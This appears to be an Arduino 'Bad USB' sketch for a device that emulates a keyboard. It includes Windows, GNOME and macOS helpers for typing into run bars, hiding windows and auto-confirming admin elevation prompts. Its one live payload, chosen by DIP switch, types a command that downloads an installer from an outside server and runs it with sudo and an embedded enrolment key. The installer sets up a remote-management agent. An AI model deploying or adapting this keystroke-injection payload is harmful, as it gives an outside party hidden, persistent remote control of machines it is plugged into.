//
// NIX BAD USB
//

#include "Keyboard.h"

bool Ro[8];

/********************************************************************
 * Opens the run bar and executes the command. 
 ********************************************************************/
void CommandAtRunBarMSWIN(char *SomeCommand){
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(100);
  Keyboard.releaseAll();
  delay(1500);
  Keyboard.print(SomeCommand);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
}

/********************************************************************
 * Run the program with admin privileges. -Joel Serna Moreno
 ********************************************************************/
void RunProgramAdminMSWIN(char *SomeCommand){
  Keyboard.press(KEY_LEFT_GUI);
  delay(100);
  Keyboard.releaseAll();
  delay(2000);
  Keyboard.print(SomeCommand);
  delay(3000);
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_LEFT_SHIFT);
  Keyboard.press(KEY_RETURN);
  delay(100);
  Keyboard.releaseAll();
  delay(4000);
  Keyboard.press(KEY_LEFT_ARROW);
  delay(100);
  Keyboard.releaseAll();
  delay(2000);
  Keyboard.press(KEY_RETURN);
  delay(100);
  Keyboard.releaseAll();
}

/********************************************************************
 * Minimize open windows. -Joel Serna Moreno
 ********************************************************************/
void MinimizeWindowMSWIN(){
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('d');
  delay(100);
  Keyboard.release('d');
}

/********************************************************************
 * Open the search box. -Joel Serna Moreno
 ********************************************************************/
void CommandOpenSearchMSWIN(){
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('s');
  delay(100);
  Keyboard.releaseAll();
}

/********************************************************************
 * Block active sessions. -Joel Serna Moreno
 ********************************************************************/
void BlockSessionMSWIN(){
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('l');
  delay(100);
  Keyboard.releaseAll();
}

/********************************************************************
 * Close active program. -Joel Serna Moreno
 ********************************************************************/
void CloseProgramsMSWIN(){
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  delay(100);
  Keyboard.releaseAll();
}

/********************************************************************
 * Opens the run bar and executes the command. 
 ********************************************************************/
void CommandAtRunBarGnome(char *SomeCommand){
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F2);
  delay(100);
  Keyboard.releaseAll();
  delay(1500);
  Keyboard.print(SomeCommand);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
}

/********************************************************************
 * Opens spotlight and executes the command. -Adam Baldwin
 ********************************************************************/
void CommandAtRunBarOSX(char *SomeCommand){
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(' ');
  delay(100);
  Keyboard.releaseAll();
  delay(1500);
  Keyboard.print(SomeCommand);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll(); 
}

/********************************************************************
 * Opens New Terminal and executes command. -Adam Baldwin
 ********************************************************************/
void CommandAtNewTerminal(char *SomeCommand){
  CommandAtRunBarOSX("Terminal");
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('n');
  delay(100);
  Keyboard.releaseAll();
  delay(1500);
  Keyboard.print(SomeCommand);
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll(); 
}

/********************************************************************
 * Opens the run bar and executes the command. -Aaron Howell
 ********************************************************************/
void ShrinkCurWinOSX(){
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('h');
  delay(100);
  Keyboard.releaseAll();
  delay(250);
}

/********************************************************************
 * Shrinks the active window to help hide it.
 ********************************************************************/
void ShrinkCurWin(){
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(' ');
  delay(100);
  Keyboard.releaseAll();
  delay(250);
  Keyboard.print("n");
}

void ShrinkCurWinMSWIN(){
  ShrinkCurWin();
}

void ShrinkCurWinGnome(){
  ShrinkCurWin();
}

void PressAndRelease(int KeyCode,int KeyCount){
  int KeyCounter=0;
  for (KeyCounter=0;  KeyCounter!=KeyCount; KeyCounter++){
    Keyboard.print(KeyCode);
  }
}

/*********************************************************************
 * ledkeys returns the setting of the "lock keys"
 * Num Lock = 1
 * CAPS Lock = 2
 * Scroll Lock = 4
 * Add them together to get combos, for example if all three are on, 7 would be the result
 *********************************************************************/
/*
int ledkeys(void)
{
  return int(keyboard_leds);
}
*/

/*********************************************************************
 * Returns TRUE if NUM Lock LED is on and FALSE otherwise. 
 *********************************************************************/
/*
boolean IsNumbOn(void)
{
  if ((ledkeys() & 1) == 1){
    return true;
  } 
  else {
    return false;
  }      
}
*/

/*********************************************************************
 * Returns TRUE if Caps Lock LED is on and FALSE otherwise. 
 **********************************************************************/
/*
boolean IsCapsOn(void)
{
  if ((ledkeys() & 2) == 2){
    return true;
  } 
  else {
    return false;
  }      
}
*/

/*********************************************************************
 * Returns TRUE if Scroll Lock LED is on and FALSE otherwise. 
 **********************************************************************/
/*
boolean IsScrlOn(void)
{
  if ((ledkeys() & 4) == 4){    
    return true;
  } 
  else {
    return false;
  }      
}
*/
//********************************************************************

void RunScript_Nix_Install_Mesh() {
  Keyboard.print("(wget 'https://support.daprogs.net/meshagents?script=1' -O ./meshinstall.sh || wget 'https://support.daprogs.net/meshagents?script=1' --no-proxy -O ./meshinstall.sh) && chmod 755 ./meshinstall.sh && sudo -E ./meshinstall.sh https://support.daprogs.net 'INYpk$Xf2hkMKRCkGfy08RotsKO@62RZVe2KDw4WUq@QhwTCMs6uRfHzFruSR4GY' || ./meshinstall.sh https://support.daprogs.net 'INYpk$Xf2hkMKRCkGfy08RotsKO@62RZVe2KDw4WUq@QhwTCMs6uRfHzFruSR4GY'");
  Keyboard.press(KEY_RETURN);
  Keyboard.releaseAll();
}

void setup() {
  Serial.begin(115200);
  delay(2000);

  pinMode(2, INPUT_PULLUP);
  pinMode(3, INPUT_PULLUP);
  pinMode(4, INPUT_PULLUP);
  pinMode(5, INPUT_PULLUP);
  pinMode(6, INPUT_PULLUP);
  pinMode(7, INPUT_PULLUP);
  pinMode(8, INPUT_PULLUP);
  pinMode(9, INPUT_PULLUP);

  Ro[0]=!digitalRead(2); // off=EN, on=FR
  Ro[1]=!digitalRead(3); // Unused for the moment
  Ro[2]=!digitalRead(4); // bit 32
  Ro[3]=!digitalRead(5); // bit 16
  Ro[4]=!digitalRead(6); // bit  8
  Ro[5]=!digitalRead(7); // bit  4
  Ro[6]=!digitalRead(8); // bit  2
  Ro[7]=!digitalRead(9); // bit  1

  byte value = 0;
  for (int i = 7; i > 1; i--) {
    if (Ro[i])
      value |= (1 << (7-i));
  }
  
  Serial.print(Ro[0]);
  Serial.print(" ");
  Serial.print(Ro[1]);
  Serial.print(" ");
  Serial.print(Ro[2]);
  Serial.print(" ");
  Serial.print(Ro[3]);
  Serial.print(" ");
  Serial.print(Ro[4]);
  Serial.print(" ");
  Serial.print(Ro[5]);
  Serial.print(" ");
  Serial.print(Ro[6]);
  Serial.print(" ");
  Serial.print(Ro[7]);
  Serial.print(" ");

  if (Ro[0]) { // Select keyboard language with first switch
    Keyboard.begin(KeyboardLayout_fr_FR);
    Serial.print("FR");
  }
  else{
    Keyboard.begin(KeyboardLayout_en_US);
    Serial.print("EN");
  }

  Serial.print(" ");
  Serial.print(value);
  Serial.println();

  delay(3000);

  switch (value) {
    case 0: // All 6 switches (2-8) are in the off position
      Serial.println("No Script Selected");
      break;
    case 1:
      Serial.println("Nix_Install_Mesh");
      RunScript_Nix_Install_Mesh();
      break;
    case 2:
      Serial.println("");
      break;
    case 3:
      Serial.println("");
      break;
    case 4:
      Serial.println("");
      break;
    case 5:
      Serial.println("");
      break;
    case 6:
      Serial.println("");
      break;
    case 7:
      Serial.println("");
      break;
    case 8:
      Serial.println("");
      break;
    case 9:
      Serial.println("");
      break;
    case 10:
      Serial.println("");
      break;
    case 11:
      Serial.println("");
      break;
    case 12:
      Serial.println("");
      // statements
      break;
    default:
      // statements
      break;
  }
}


void loop() {
  // delay(3000);
  // Ro[0]=!digitalRead(2); // off=EN, on=FR
  // Ro[1]=!digitalRead(3); // 

  // Ro[2]=!digitalRead(4); // bit 32
  // Ro[3]=!digitalRead(5); // bit 16
  // Ro[4]=!digitalRead(6); // bit  8
  // Ro[5]=!digitalRead(7); // bit  4
  // Ro[6]=!digitalRead(8); // bit  2
  // Ro[7]=!digitalRead(9); // bit  1

  // byte value = 0;
  // for (int i = 7; i > 1; i--) {
  //   if (Ro[i])
  //     value |= (1 << (7-i));
  // }

  // Serial.print(Ro[0]);
  // Serial.print(Ro[1]);
  // Serial.print(Ro[2]);
  // Serial.print(Ro[3]);
  // Serial.print(Ro[4]);
  // Serial.print(Ro[5]);
  // Serial.print(Ro[6]);
  // Serial.print(Ro[7]);
  // Serial.print(" ");

  // if (Ro[0]) {
  //   Keyboard.begin(KeyboardLayout_fr_FR);
  //   Serial.print("FR");
  // }
  // else{
  //   Keyboard.begin(KeyboardLayout_en_US);
  //   Serial.print("EN");
  // }

  // Serial.print(" ");
  // Serial.print(value);
  // Serial.println();
}
